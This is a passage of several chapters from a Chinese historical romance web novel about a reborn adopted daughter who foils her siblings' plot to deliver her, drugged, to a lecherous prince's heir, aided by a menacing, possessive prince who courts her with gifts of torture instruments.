对于自己的所作所为，苏明添没有一丝一毫的后悔，只是对于苏舒窈的变化，百思不得其解。 第102章 陷入 苏明添忽然意识到苏明珠和苏舒窈的不同，也意识到苏舒窈其实比苏明珠好太多。 但，现在的他也不敢对着苏明珠发脾气。 苏舒窈甩手不干了，他还要哄着苏明珠去琅玡山找鬼医。 腿医不好，他的锦绣前途全是空谈。 都怪苏舒窈，要不是她甩手不干，找鬼医这件事也不会这么麻烦！ 苏明添掩盖住心中不满，耐着性子道：“明珠妹妹，我不需要你时刻守在身边，我现在急需鬼医的救治。鬼医住在琅玡山山顶，你去琅玡山脚下打听就能知道。只有鬼医，能让我的腿伤痊愈。” “腿伤痊愈之后，我会进入金吾卫，今后，还会被封为大将军。” “明珠，只要你帮我找来鬼医，这份恩情，我定会铭记于心，百倍回报！” 苏明添直勾勾看着苏明珠的眼睛：“明珠，你愿不愿帮我？” 苏明珠没有立刻答应，她盯着苏明添的脸，皱了皱鼻子：“二哥哥，你，你是不是......有什么奇遇，知晓了未来会发生的事？” 苏明添愣了愣，他没打算承认，这种怪力乱神的事，还是越少人知道越好。 苏明珠主动开口：“二哥哥，我也梦到过未来发生的事，虽然有一些不一样，但大抵是没差的。” 苏明添：“你梦到了什么？” 苏明珠：“我梦到了二哥哥因为救助恭王世子摔断了左腿，被鬼医治好后进了金吾卫，后来到了骠骑大将军麾下，立下战功后被封为三品大将军。” 苏明添激动得热泪盈眶。 原来不是他的臆想，上一世发生的事，是真的。 他一把将苏明珠揽进怀里。 共同的秘密将兄妹两人的感情联系得更加紧密。 “明珠，只要你请来鬼医，今后二哥哥定会对你万般好的！” 苏明珠眨眨眼。 上一世苏舒窈请来鬼医，二哥也没对苏舒窈有多好。 虽然得到承诺，她还是不想去：“我之前听说，大姐姐已经去过琅玡山了。” 苏明添眼神一亮：“都去了吗？” 他就知道，苏舒窈不会不管他！ 苏明珠点了点头：“她是去了，但好像没能把人请回来。” 上一世，苏舒窈在山上待了一个月才把鬼医请下山，这一次，好像只去了一天。 想是遇到刁难放弃了。 这一世的苏舒窈，真的和上一世不同了。 “明珠，这下要委屈你了，只要给鬼医当一个月药童，他就会答应治病。鬼医性格刁钻，善用毒，但只要你事事听从于他，他最多就是戏弄一下你，不会伤及性命，就算中毒了，也会帮你解。上一世苏舒窈被毒瞎了一只眼睛，后来鬼医临走时，也帮她解了。” “当一个月药童？毒瞎一只眼？”苏明珠越听越害怕，更不想去了。 苏舒窈上一世是怎么忍下来的？ 苏明珠：“二哥哥，我也很想去琅玡山帮你请鬼医，可是，现在有一件非常重要的事不得不去做。” 面对苏明珠的一再推脱，苏明添的不满都快实体化了：“有什么事比请鬼医还重要？” 苏明珠小声道：“恭王世子看了姐姐的画像很满意，刚刚派人来催，让今儿就把姐姐送过去。” “二哥哥，你上一世是为救恭王世子才有进金吾卫的机会，这一世受伤完全与恭王世子无关，二哥哥要进金吾卫，还是要趁早打算。” “既然姐姐不愿意去找鬼医，不如早早把姐姐送去恭王世子那里，这样二哥哥腿伤一好，马上就能进金吾卫了。” 苏明添：“那鬼医呢？” 苏明珠：“让明芷妹妹带人先去琅玡山问问鬼医的情况。母亲不在，只有我带着姐姐去恭王府。等我把姐姐带去恭王府，明芷妹妹那边应该打听得差不多了，到时候我再想办法去请鬼医出山。” “明芷她懂什么？”苏明添不太满意，在他心里，没有什么比身体痊愈更重要。 “二哥哥，你想一想，除了当药童，还有没有其他法子？”苏明珠实在是不想去，鬼医太吓人了，她才不要去试毒。 苏明添忽然精神一震：“我想起来了，鬼医酷爱兰花，只要送上极品兰花，他也会帮人看诊！” 苏明珠：“那我把明芷妹妹叫来，明芷妹妹喜欢侍弄花草，让明芷妹妹去给鬼医送兰花正好！” 苏明芷很快被叫了过来，听说要她去琅玡山找鬼医，去琅玡山找鬼医，原本是苏舒窈的活。 她又把苏舒窈臭骂了一顿。 三个人一起数落苏舒窈的不是，一起想办法，怎么让苏舒窈继续为侯府卖命。 在一个家里，任劳任怨那个人，忽然甩手不干，反而会被埋怨。 什么事都不干的人，稍微干一点小活，却会被大家赞扬。 大家习惯了她的付出，某一天，她不愿意付出了，大家的利益受损了，所有人会逼着她重新付出。 人性就是这样。 ~ 苏舒窈回到倚兰居，刚进入正房，便觉得有些不对。 插瓶里的蔷薇花被揉碎了，花瓣散落在桌面，粉红的汁液揉得到处都是。 梳妆台上，散乱的钗环按照长短顺序，摆放得整整齐齐。 原本掉落在地上的头发也被全部拾了起来，按照长短的顺序，一根一根地摆放在梳妆台上。 有人在她房间里。 闯入者早就来了，等得有些无聊，在她的闺房里玩起了小游戏。 苏舒窈心跳忽然加快了一瞬。 应该是九殿下，九殿下这么快就来了。 “吱呀——” 原本开着的窗户，被一股怪力莫名其妙关了起来。 “砰——” 身后的门也被大力关上。 房间内的光线忽然暗了下来，风吹起窗帘，哗啦啦作响。 紧接着，传来一道清脆的“咔嚓”声。 门栓锁紧的声音。 整个房间被关得严严实实，一只苍蝇也飞不出去。 苏舒窈回头一看，身后空无一人。 这一切好似凭空发生。 苏舒窈顿时感到心跳加快，呼吸急促，整个人变得敏感、多疑、又害怕。 可是，害怕的同时，又隐隐有些期待。 她好像对这种感觉上瘾了。 上一世，她并未感受过爱情，只听说过，两个相爱的人见面，彼此都会心跳加速、脸颊温度升高，甚至浑身战栗。 每次九殿下出现，她的身体都会出现这种反应。 虽然他们和一般情人见面的方式不同，但四舍五入，也算是陷入爱河了吧。 忽然，一个黑色的物体从天而降，对准她的脸，朝她快速袭来。 霎时，苏舒窈只觉得汗毛倒竖，一股战栗从脚底往上蔓延。 还好，这个黑色物体在快要触碰到她脸颊的时候，停了下来。 黑色物体带来的风掀起脸上的绒毛，随之而来的，是一股难闻的血腥气。 一个钩状的黑色刑具。 苏舒窈吓得差点呼吸骤停。 九殿下又带来了新的礼物。 紧接着，一道粗重的呼吸声在身后响起。 苏舒窈知道，九殿下从身后靠了过来。 周围气温骤降。 苏舒窈的心脏再次开始狂跳。 她转过身，还没来得及张开手，脚下被什么东西一绊。 还没来得及细想绊她的是什么东西，便感觉身体一热。 她跌入了九殿下怀里。 第103章 娶我 苏舒窈胸口砰砰跳，双眼一亮。 九殿下竟然主动抱她。 虽然用了一点小手段，问他，他也不会承认。 但有进步，值得表扬。 苏舒窈用力回抱过去。 那股熟悉的松木香气瞬间盈满了鼻腔。 苏舒窈用力吸了一口气。 九殿下好香。 不仅很香，还很好抱。 她现在能万分笃定，九殿下每次吓她，要么是为了拥抱，要么是为了牵手。 只是他本人没有意识到而已。 像一只傲娇的猫，想要抱的时候，会主动释放信号，但被抱得狠了，又会挣扎着逃跑。 对于主动送上门来的楚翎曜，苏舒窈抱得很认真。 他的身体很硬，腰很细，胸膛也很宽。 没有想象中那么瘦，不硌人。 两人的身高差了大半个头，抱上去的时候，苏舒窈的头正好能放在他的颈窝。 “你又把本王当成了什么？” 低沉沙哑的声音响起，仔细听就会发现，对方的嗓音有些抖。 苏舒窈觉得，应该是她抱太紧了，抑或是她的呼吸太过炽热，将他灼伤了。 可是，楚翎曜第一次主动，她不想轻易放开。 苏舒窈没有回答对方的问题，反问道：“殿下怎么来了？” 她仰起头去看对方的脸。 九殿下明明是男子，却生得昳丽如花，精致的眉眼比秋山寒水更加清绝，只看上一眼，便心都软了。 “太好了，殿下的脸完好无损。” 苏舒窈伸出手，覆盖在对方脸颊上：“上一次把我吓坏了。” 手刚触碰到冰冷的皮肤，手腕便被捉住了。 楚翎曜冷嗤一声：“别得寸进尺！” 他低垂着眉眼，用余光制止她，一副看穿了她的把戏的样子。 “别故意找借口摸本王！” 苏舒窈忍不住偷笑。 她确实是故意的，一眼就被看穿了。 苏舒窈收回手，怕待会儿把人惹急了不让抱了。 “殿下来干什么？” 苏舒窈低头看了眼脚下的黑色钩状刑具。 刑具很干净。 看来上次她说的话，九殿下听进去了。 带了干净的礼物来。 “别去恭王府。”楚翎曜的呼吸很热，热气顺着往下滑，吹了苏舒窈满脸，吹得睫毛也忍不住轻轻颤动。 “你的那个妹妹，不怀好意。” 他专门跑着这一趟，又是关门又是关窗，恐怖氛围烘托到这个地步，原来是来提醒她的啊。 苏舒窈心里流过一阵暖流。 点了点头：“我知道他们不怀好意，但我还是要去。” “为什么？”楚翎曜有些不解：“难道你想成为恭王世子房中人？” 虽然他不会让这样的事发生，但语气里还是带了些急躁与不满。 苏舒窈摇了摇头：“不是。” “你放心，我知道苏明珠的打算，我有提前防范，还找了帮手，苏明珠害不了我。” “帮手？谁？”嗓音低沉了几分。 苏舒窈：“谢瑜。” 她话音刚落，就感觉对方的胸腔的起伏变大，呼吸节奏乱了一瞬。 “谢瑜？谢小郡王？”想起谢瑜的样子，楚翎曜咬紧牙关，腮帮都鼓了起来。 苏舒窈：“我是想找殿下帮忙的，可是，不知道去哪里找殿下。” 她倒是想去镇扶司找人，又怕把他吓坏了，再也不肯出来。 九殿下真的好难搞。 她只能在家静静地等着，等着他主动上门。 “殿下，如果我想找你，我该去哪里？” 楚翎曜没有做声。 苏舒窈和鹦鹉、波斯猫不一样。 她是人，她不是一个物件，也不是宠物。 他说不出对苏舒窈是什么感觉，但他暂时不想让人知道他们之间的关系。 他想把人藏起来，任何人都不能发现。 如果可以，他想把她关进镇抚司不见天光的地下室，这样，任何人都不能伤害到她。 只有他可以见到她。 这样，她就安全了。 想到这里，楚翎曜眼中闪过一丝光亮。 “你别来找本王，也别在外面表现出一副和本王很熟的样子。” 苏舒窈敏锐地察觉到对方的状态没对，她抬起头，“殿下，怎么了？遇到什么烦心事了？” 楚翎曜眉心微蹙，沉默了一会儿，才开口：“没有。” 这个胆大妄为的女子，竟然妄图窥探他的内心。 “你能不能松手？”楚翎曜察觉到身体微妙的变化，不想让她抱了。 这个女子真是越来越过分，不仅抱他，还在他怀里蹭来蹭去。 简直不似大家闺秀！ 楚翎曜闭上眼，深吸一口气。 “一个有婚约的女子，怎么能做出这种事？你把本王当成什么？！” 苏舒窈愣了愣，意识到对方的意思，旋即笑开来：“我的婚约早就退了。” 阳光将两人的影子拉长，交叠在一起，不分彼此。 欣喜在眼底晕开，苏舒窈仰着头：“殿下，我没有婚约了，你要娶我吗？” “我们已经有了肌肤之亲，你娶我好不好？” 接触了这么久，苏舒窈一直试图撬开九殿下的心房，她想知道，上一世他为什么会弑父杀兄。 这一世她的轨迹不一样了，九殿下也不会再重蹈上一世的覆辙。 可是，九殿下的嘴跟蚌壳一样紧，什么都不愿意说。 既然九殿下回避，苏舒窈选择主动。 听到苏舒窈的话，楚翎曜浑身僵硬。 整个脖子都红了，呼吸变得急促，吐出的气息也越来越热。 这个可恶的女子，竟然赖上他了。 他深吸了几口气，强制镇定下来，努力让嗓音冰凉、冷静： “跟着本王，本王会把你关进小黑屋，戴上镣铐，哪儿都不许去，这样，你还愿意吗？” 苏舒窈双眸亮晶晶的，仿若落入了星子：“关进小黑屋，殿下会一直陪着我吗？如果殿下一直陪着我，我愿意的。” 要是两人一直待在一起，她肯定能阻止他疯狂的行为。 重活一世，她不求大富大贵，只求她在乎的人一切安好，便足矣。 苏舒窈非但没被吓到，反而有种跃跃欲试。 楚翎曜显然没料到对方是这样的反应。 忽然，一阵风吹来，妆奁上一只小鸟造型的铃铛叮当作响。 “叮铃铃~~” 铃声清脆悦耳，楚翎曜却身形一僵。 不知道想到什么，他猛地推开人，转身一跃，瞬间消失不见。 苏舒窈怀里一空，九殿下又跑了。 看着空荡荡的房间，苏舒窈叹了一口气。 她还是太急了，又把九殿下吓跑了。 都怪当时气氛太好，她一下子没忍住，主动开口求娶。 第104章 宠妾 九殿下带来的那个黑色钩子，还留在地上。 苏舒窈捡起黑色钩子，端详。 听说锦衣卫有十八种刑法，不知道这个黑色钩子是用来干什么的。 翻到黑色钩子背面，只见上面刻了三个小字：“锁骨钩”。 苏舒窈吓得一激灵，锁骨钩落在了地上。 隐隐觉得自己的锁骨有点痒。 九殿下还真是什么稀奇古怪的刑具都有啊。 秋霜听见声响，在门外问道：“大小姐，什么东西摔了？” “没什么，你进来一下。”苏舒窈把秋霜叫进来，让她把锁骨钩收起来。 秋霜面无表情捡起锁骨钩，傻乎乎在自己身上比画了一下：“大小姐，是不是这样用的？” 苏舒窈点了点头：“应该是。” 秋霜打开箱子，看着里面满满当当的刑具，抬眼小心翼翼瞅了苏舒窈一眼：“大小姐，箱子都快装不下了。” 苏舒窈笑道：“装不下就再拿一个箱子来装，这是某人送我的礼物，要好好收着。” 秋霜咋舌：“听说送礼都是送花送首饰的，哪有人送刑具的？大小姐，这些是谁送的啊？大小姐要小心了，这送礼之人，可能没安好心。” 秋霜刚把箱笼锁上，就双手抱着搓了搓双臂：“大小姐，你这间屋子好冷，都可以不用冰了。” 苏舒窈笑了笑。 她也感受到那种阴冷的、被人注视的感觉。 九殿下还没走，不知道在什么地方看着她。 秋霜锁上箱笼，把钥匙收好：“大小姐，看到霜染了没？饭做好了，也没见它出来吃。” 苏舒窈笑了笑：“想是没饿，饿了就出来了。” 两人正说着话，忽然丫鬟来报：“大小姐，二小姐来了。” 帘子打开，苏明珠走进来，未语先笑：“大姐姐，母亲让你给恭王世子送的东西，你送了吗？” 苏舒窈淡淡地看了她一眼：“没有。” 苏明珠脸色一急：“姐姐动作快一点，恭王世子那边派人来催促了。” 苏舒窈不疾不徐道：“既然恭王世子那边派人来催，直接让人把东西带过去就是，何必再让我跑一趟？” 苏明珠尬笑了一声：“大姐姐，我们是去送礼，怎能让人来拿？” “那我也没听过，哪有人收礼要催的？”苏舒窈直勾勾看着她： “苏明珠，你是不是挖了坑，等着我跳？” 苏明珠被她犀利的眼神看得不自在，心脏漏跳了一拍：“怎么会？我们可是嫡亲的姐妹，妹妹可是时时刻刻盼着姐姐好的。” 听说恭王世子骄奢淫逸、荒淫无度，最喜欢折腾性子烈的女子。 经常有性子烈的女子，竖着进去，横着出来。 她要亲眼看着苏舒窈被恭王世子折辱、玩弄。 到时候变成残花败柳，看她还拽得起来？！ 她最不喜欢苏舒窈一副高高在上的表情，以为侯府没有她就不转了？ 苏明珠心中腹诽，面上却装得温柔小意：“大姐姐要是不放心，我们一起去好不好？” 苏舒窈答应下来：“好。” 她拿上万氏给的盒子，准备跟着苏明珠出发。 苏明珠上前拦了一步：“大姐姐，你就这样去啊，不换身衣裳？咱去的可是恭王府，不可在贵人面前失礼。” 苏舒窈身上穿了一件半旧的襦裙，在家日常穿着还行，出门见客则有些失礼。 “行，那你等我换身衣裳。” 苏舒窈转身进入里间，让秋霜开箱笼拿衣裳。 她穿了件红色的主腰，外罩一层杏色纱衫，再配了一条缠枝莲纹的马面裙。 素淡的颜色衬得她好似溪水里浸泡的羊脂玉，温润、婉约、又不失灵动。 正准备选首饰，便见妆奁上放了一对鎏金缀珍珠耳环，一对鎏金臂钏。 珍珠耳环是她妆奁里的，这对臂钏没见过，呈螺旋形状，錾刻鸿雁纹，戴上尺寸正好。 九殿下送的？ 秋霜刚嘀咕完，九殿下就送来了正常的礼物？ 苏舒窈侧首看着手臂上的臂钏，浅浅一笑，想是准备已久，不好意思拿出来。 要知道，臂钏的尺寸需与上臂围度严格匹配，松了会往下掉，紧了勒着不舒服。 九殿下什么时候丈量过她手臂的尺寸了？ 好贴心。 楚翎曜怀里抱着霜染，静静地蹲在房梁阴暗处。 霜染被吓得耳朵贴着头皮，一动也不敢动。 呵，这个女子真是大胆，明知他在，换衣服也不知道避讳。 幸亏他是正人君子，在她脱下襦裙的时候就挪开了眼。 看着苏舒窈的穿戴，他的唇角往上扬了扬。 苏舒窈打扮好之后，从里间出来，她的皮肤细腻如雪，仿若沐浴过春雨的兰花，瓣瓣莹白，更添几分沁人心脾的天然美。 苏明珠盯着她的脸，好不容易从牙缝里挤出几个字，酸得牙痛：“姐姐真好看。” 苏舒窈睨她一眼，淡淡地评价：“妹妹也该打扮一下，被我衬得像是个洗脚婢似的，出去怕是要丢了侯府的脸面。” 苏明珠：“......” 吸气—— 差点咬碎了后槽牙。 自从万氏去了家庙，苏舒窈真是越来越猖狂了！ 看你猖狂的了几日！ ~ 恭王府很大，从大门到世子妃的院子，还要坐马车。 马车上，秋霜悄悄问道：“大小姐，真的不用通知谢老板？” 苏舒窈摇摇头，“不用。” 九殿下不知道在哪里跟着的，出不了事。 再说了，她也早有准备。 马车停靠之后，一个尖嘴的婆子迎了上来：“两位姑娘跟着奴婢来，丫鬟在这里等着。” 恭王世子侧妃宁氏接待了她们。 “快给两位姑娘上茶。”宁氏见到人，很是热情，给两人赐座看茶，又命人端来五色盘、各色茶点。 宁氏容貌一般，脸圆圆的，下巴两三层，笑起来的时候眼睛被肉挤成两道月牙。 是长辈喜欢的那种有福气的相貌，亲和力十足。 但，在热衷搜罗美人的恭王世子面前，这幅相貌就不太讨喜了。 可是，听说宁氏极为受宠，不仅育有一子，恭王世子一个月有大半个月宿在她院子里。 据苏舒窈所知，这宁氏有些手段，院子里的丫鬟一个赛一个美貌。 丫鬟们不仅识字，有的琴棋书画更是一绝，吹拉弹唱，无所不会。 就比如站在宁氏身后的两个丫鬟，容貌上佳，气质比一些官家小姐还出众。 想必都是宁氏调教出来的。 宁氏收下了苏舒窈带来的盒子，细细地问了她们的年岁、读了多少书，会些什么才艺。 尤其在听说苏舒窈会跳舞的时候，更是满意地连连点头。 “我与两位妹妹一见如故，两位妹妹用完晚膳再走吧。我出去耽误一下，马上回来。” 宁氏离开后，苏明珠也起身跟了出去。 不到半盏茶的时间，苏明珠回来了，一回来，她便激动地拉着苏舒窈的袖子：“恭喜姐姐。” 苏舒窈从她手中抽回衣袖，冷冷看过去：“何喜之有？” 苏明珠捏着手指：“宁侧妃答应帮二哥哥说项了，只要她愿意帮忙，二哥哥就能进入金吾卫了！” “只不过，宁侧妃提了一个小小的要求，为了二哥哥的前程，姐姐愿意牺牲的吧？” 第105章 牺牲 苏舒窈看着她欣喜的样子，淡淡地泼上了一盆冰水：“我不愿意。” 苏明珠显然没有预料对方会如此坚定地拒绝，愣了愣，才道：“大姐姐，这可是二哥哥的前程啊！” “你竟然这般不顾兄妹之情，二哥哥要是听到这话，不知道会有多么伤心。” 苏明珠站在道德高位审视着苏舒窈。 大夏注重名声，侯府养了苏舒窈这么多年，她要是知恩不报，传出去脊梁骨都会被戳穿。 苏舒窈淡淡一笑：“你不说，二少爷听不到，就不会伤心了。” 她毫不畏惧地回视过去：“还是说，你要当那个挑拨离间、搬弄是非的小人？” 苏明珠被噎了一下，柔弱地摇摇头：“没有，我不会。” “既然不会，二少爷定不会伤心了。再说了，二少爷双腿断了，右手也断了，吃喝拉撒都要让人伺候，就算医好，也是个半残，怎么进得了金吾卫？” 苏舒窈浅浅一笑，端正坐直，裙摆垂落如流云：“二妹妹要是得了臆想症，还是早点找个医师瞧瞧脉。” 苏明珠暗骂一声，真是难缠，面上却道：“明芷妹妹已经为二哥哥请神医去了，神医一来，二哥哥一定会痊愈的。” 她盯着苏舒窈眼睛，柔声问道：“大姐姐，要是二哥哥痊愈了，为了二哥哥的前程，你愿不愿意牺牲啊？” 苏舒窈并未回答，而是反问道：“要是能帮助二少爷，妹妹是否愿意牺牲呢？” 苏明珠嘟着嘴，眼神中流露出一抹天真：“当然愿意了。为了二哥哥的前程，妹妹我定会赴汤蹈火，在所不辞！” 她的语气坚定，带着一股毫不畏惧的勇气。 苏舒窈嘴角弯出一个浅浅的幅度：“希望妹妹一直这般坚定，到时候可别退缩。” ~ 宁侧妃安排苏舒窈和苏明珠在花厅喝茶。 花厅内，竖了一架水墨山水屏风。 屏风将花厅一分为二，苏舒窈和苏明珠坐在屏风左边。 通过光影变幻，能判断屏风右边有人。 如果没有猜错，屏风右边的人应该是恭王世子。 苏舒窈敏锐地感觉到身上有视线停留。 恭王世子在暗中打量她，这样的打量，和九殿下的打量截然不同。 打量的视线里带着一股不怀好意的审视，让她感到很不舒服。 好在这样的打量很快就停止了，没一会儿，苏明珠又被宁侧妃叫了出去，留下苏舒窈独自坐在花厅饮茶。 苏舒窈看似在喝茶，实际充满了警惕，茶杯佯装碰了下嘴唇，便放了下去。 这里的吃食，她一点也不会沾。 ~ 内室。 宁侧妃的脸笑成了一团花：“明珠妹妹，恭王世子对你姐姐很是满意。你姐姐什么时候能入府？世子已经等不及了。” 苏明珠激动地搓手：“看宁侧妃安排，姐姐随时都能入府。” 宁侧妃又道：“你姐姐那般品貌，入府可是真心？先说好，我这里从不强迫良家妇女。” 苏明珠连连点头：“真心，当然真心。为了二哥哥的前程，姐姐愿意奉上一百颗真心，只要能让二哥哥进入金吾卫，姐姐她什么都愿意的。” 管她真心不真心，入了府，上了恭王世子的床，她还能反悔不成。 一个落魄侯府的养女，在外面再厉害，到了恭王府，也只有任人拿捏的份。 宁侧妃满意地点了点头：“那你给她说清楚没有，入府之后，连个通房都不是，身份上只是我一个远房表妹，借住在王府，能留多久，全凭本事。” 俗话说得好，妻不如妾妾不如偷，这表妹的身份，也就是小姨子。 身份上就让人想入非非，再加上苏舒窈的美貌，恭王世子不得天天歇在她院子里。 宁侧妃对这个安排非常满意：“如果今日能留下来，就最好不过了。” 苏明珠心道，怪不得宁侧妃得宠，这笼络男人的手段可真是高啊。 “侧妃娘娘放心，我这就和她去说。” 宁侧妃摆摆手：“去吧，好好说，我就不陪你们用膳了，说完了让海棠来知会我一声就行。” “只要你姐姐肯入府，我保证你二哥能进入金吾卫，要是你姐姐伺候得好，你二哥说不定还能捞个小统领来当。” “多谢侧妃娘娘。” 苏明珠得到承诺，喜不自禁，走路的时候也不自觉扭动起身子。 苏舒窈静静地看着她像个跳梁小丑一样来回蹦跶，坐看云卷云舒，一脸波澜不惊。 两人坐了约莫小半个时辰，一个名为海棠的丫鬟来请：“两位姑娘跟着奴婢一起去膳堂用膳吧，侧妃有事耽搁了，不能陪两位姑娘用膳，两位姑娘有什么直接唤奴婢就行。” 苏舒窈起身告辞：“这位姐姐，我们叨扰了侧妃娘娘这么久，晚膳就不用了，还请姐姐转告侧妃娘娘，多谢款待，我们这就告辞了。” 苏明珠可不能让她就这么走了，急躁地拉住人：“姐姐，人家侧妃娘娘把晚膳都准备好了，我们用完再走不迟。” 苏舒窈回头看了苏明珠一眼：“妹妹，人家侧妃娘娘有事，我们送完礼坐了那么久，没别的事也该走了。” 见苏明珠依然坚持不走，苏舒窈淡淡一笑：“你八百年没吃过饭吗？还想赖在这里吃饭？没得眼皮子那么浅，丢了侯府的脸面。” “明珠，我时常教育你在外要守礼，你忘记了？” 这话听起来严苛，但苏舒窈是长姐，没有万氏在场，长姐教训妹妹天经地义。 这话也可以理解为长姐规训妹妹，严厉几分也是为了妹妹好。 苏明珠脸皮一下子涨得通红，一时间不知道该怎么回怼。 苏舒窈看向海棠，端正行了一礼：“这位姐姐，让你见笑了，家妹从小走失，最近才找回府，家妹在养父母家失了教导，不懂规矩，失礼之处还望海涵。” 说完，又规规矩矩行了一礼，行完礼，自顾自往外走。 走到门边时，苏舒窈回头看了苏明珠一眼，淡淡地说道：“还不走，继续留在这里丢人现眼？” 苏明珠气得浑身发抖。 苏舒窈怎么敢的！ 不仅当众揭穿她不堪的过往，还装作一副长姐如母的样子，当着恭王府的下人羞辱她，真的太恶毒了！ 人一旦气得狠了，智商就会下降。 苏明珠气得嘴唇抖动，满头珠翠乱颤，她指着苏舒窈，却一个字也说不出来。 第106章 昏迷 海棠一眼看出两姐妹之间的龃龉，淡淡笑道：“苏大小姐误会了，侧妃娘娘是真心实意留两位姑娘用膳的，只是世子妃那边有事，侧妃娘娘不得不过去一趟，要不两位稍坐一会儿，我去看看侧妃娘娘办完事没有？” 海棠说着，去拉苏舒窈的手，拽着她往回走。 苏舒窈暗中观察，门口守了好几个粗使婆子，她想硬闯，也闯不出去。 “海棠姐姐，能不能麻烦你通传一番，我想给世子妃请个安。”苏舒窈笑道：“之前夫人叮嘱过我，到了恭王府，一定要给世子妃请安的。” 海棠看了苏明珠一眼，答应下来：“行，姑娘先坐一会儿，奴婢这就去通传。” “谢过海棠姐姐了。” 海棠没有去通传，而是去了宁氏那边回话。 宁侧妃听完海棠的汇报，笑了笑：“看她不声不响，以为是个闷葫芦，没想到还是个有心机的。” 海棠问道：“娘娘，这苏大小姐是个性子烈的，肯定不是自愿的。依奴婢看，苏二小姐并未告诉她实情。她刚刚还吵着要见世子妃，世子妃那边时刻盯着娘娘，就等着抓娘娘的错处。她不仅心机，还这般刚烈，还能要吗？” “当然要啦！有心机才好，没有心机，可留不住男人。”宁侧妃坐在主位上，摆出上位者的姿态：“光有美貌，世子三天就腻了。” “就这种有些个性的，才有滋味。” “她已经进了本侧妃的院子，还能翻出花来？！” 等她被恭王世子睡了，清白被毁了，只能认命。 一个落魄侯府养女，能有多大的本事？ 海棠：“就怕世子妃那边......” 宁侧妃：“咱不说，世子妃怎么会知道。这件事知道的人越少越好，如果事情败露，也能轻易推脱。” 海棠：“奴婢知道该怎么做了。” 花厅里，苏明珠快要气炸了，海棠一走，她便指着苏舒窈的鼻子骂道：“姐姐，你怎么当着外人的面胡说八道？！” 苏舒窈还是第一次看她这般失控，饶有兴致地和她闲扯：“明珠妹妹，我哪句话胡说了？” 苏明珠：“你说我眼皮子浅，像是八百年没吃过好的一样！” “难道不是吗？”苏舒窈浅浅一笑：“人家侧妃娘娘有事，我们就该识趣离开了。还赖着不走，硬要吃了晚膳再走，不是眼皮子浅是什么？侯府短你吃喝了？” 苏明珠：“你说我没教养又是怎么回事？” 苏舒窈：“这话不是你自己说的吗，当初你回府的时候自己说的话，难道全忘了？” 当初苏明珠自己找回侯府的时候，哭诉养父母家不好，也不让她读书，规矩没教，请万氏原谅她的粗鄙。 万氏心疼得心如刀割，当即哭成了泪人。 她当初这么说是为了卖惨，没想到成了苏舒窈攻讦她的武器。 苏明珠闭上眼深吸一口气。 心中默念，莫生气，不能因为小不忍而乱大谋。 “算了，已经过去了，我不和你计较。姐姐，你为什么要去给世子妃请安？” “给世子妃请安，是基本礼数。”苏舒窈淡淡地看了她一眼，薄唇轻启：“果然没教养。” 苏明珠气得差点没厥过去。 自从母亲去了家庙，苏舒窈真的是无法无天了！ 她一定要她好看！ 没一会儿海棠回来了：“苏大姑娘，世子妃那边奴婢已经派人去通知了，至于主子见不见你们，奴婢就不知道了。” 苏舒窈：“多谢海棠姐姐，如果世子妃要见我们，我们请完安就离开，如果不见，我们现在就离开。” 苏明珠忍不住小声吐槽：“你算哪根葱，世子妃怎么会见你？” 海棠笑道：“那行，两位姑娘坐着喝杯茶吧。差不多半盏茶的时间那边就能传消息过来。” 海棠拍拍手，立刻有小丫鬟端上茶来：“这是今年的贡品，雨前龙井，恭王世子也只得了两罐，分了一罐给我们侧妃娘娘，我们侧妃娘娘平日里都舍不得吃，专门请两位姑娘尝尝。” 茶上来之后，苏明珠端起喝了一口，双眼一亮：“不愧是贡品，可真好喝，姐姐尝尝。” 苏舒窈看了她一眼，没动。 “姐姐就尝一尝嘛，真的很好喝。”苏明珠装痴卖乖起来：“姐姐说得对，我是眼皮子浅，我眼皮子浅我把这盏茶喝完，姐姐清高，姐姐只尝一口就好。” 她抱着苏舒窈的手摇了摇，一派天真。 苏舒窈看她那个鬼样子就知道有猫腻：“放开，我喝。” 她右手端起茶杯，左手抬起袖子遮挡住半张脸，看似浅浅抿了一口，实际上把茶水洒了一点在袖子上。 “姐姐，怎么样，好喝吧。”苏明珠歪着头：“姐姐快说说，这茶是什么味？” “清新淡雅，回味甘甜。” 苏明珠满意地笑了：“姐姐，如果喜欢你就多喝点。这里只有我们两人，我不会笑你贪吃的。” 接下来，苏舒窈再也没有碰过茶盏，苏明珠一边喝茶吃点心一边吧唧嘴。 没一会儿，苏舒窈眯了眯眼，抬手扶着头，身子渐渐软了下去。 苏明珠一把上前将人扶住：“姐姐，你怎么了？是不是困了，妹妹扶你去厢房歇一会儿。” 海棠将伺候的人遣走，和苏明珠一起扶着苏舒窈往厢房去。 进了厢房，海棠用脚关上门：“把人扶到床上去。” “我当多警惕，一杯茶就放倒了，还说我眼皮子浅，跟八百年没吃过好东西似的，你自己不也是这样，见了好茶也嘴馋！” 苏明珠骂完人，心头那口郁结终于消散开来。 忽然，她感觉手臂有些刺痛，她也没注意，眼前还有更重要的事等着她去办。 紧接着，她感觉身子一软，眼前一黑，倒了下去。 海棠见苏明珠晕了，还没来得及开口询问，自己也晕了。 苏舒窈见两人晕了，淡然收起银针，然后双手架着苏明珠的胳膊，将她拖到床上。 苏明珠比苏舒窈重，人在昏迷之后，更难挪动。 苏舒窈好不容易将人拖到床边，累得大喘气。 她靠在床边，准备休息一下再搬。 忽然，一个黑影在眼前一晃，整个房间的空气骤降。 楚翎曜出现在她身后。 他凛着脸，眼神冷漠、空洞。 “本王从未见过如此蠢笨之人。” 声音低沉、暗哑、带着浓浓的嘲讽。 “这便是你所谓的应对之策？” 依他的风格行事，早就把两人杀了，不知道为什么要这么麻烦。 苏舒窈感觉一把利刃抵上了脖颈，冰凉的触感激得汗毛竖起来，心跳再次加快。 九殿下每次出现，都是这般阴森恐怖，恶意满满。 好在苏舒窈已经知道怎么应对。 她缓缓转过身，捏住了对方握着匕首的手。 她指着苏明珠：“这人扔到床上。” 又指着海棠：“这人塞到床底。” 楚翎曜冷笑一声，嘴边噙着一抹讥诮。 那眼神好似在说，“你在命令本王？” 随即，他挪开视线，不看苏舒窈。 紧接着下一秒，他将手从苏舒窈手中抽出，左手拎着苏明珠，右手拎着海棠。 一个扔床上，一个塞进了床底。 第107章 世子的小姨妹 扔完人，楚翎曜纵身一跃，又没了踪影。 苏舒窈还没来得及道谢，九殿下又消失了。 只不过，身上那种被大型猛兽盯梢的感觉并未消失。 她转身，朝着视线的方向浅浅行了一礼，“谢谢。” 苏舒窈把床幔放下来，给苏明珠盖好被子，转身出了厢房。 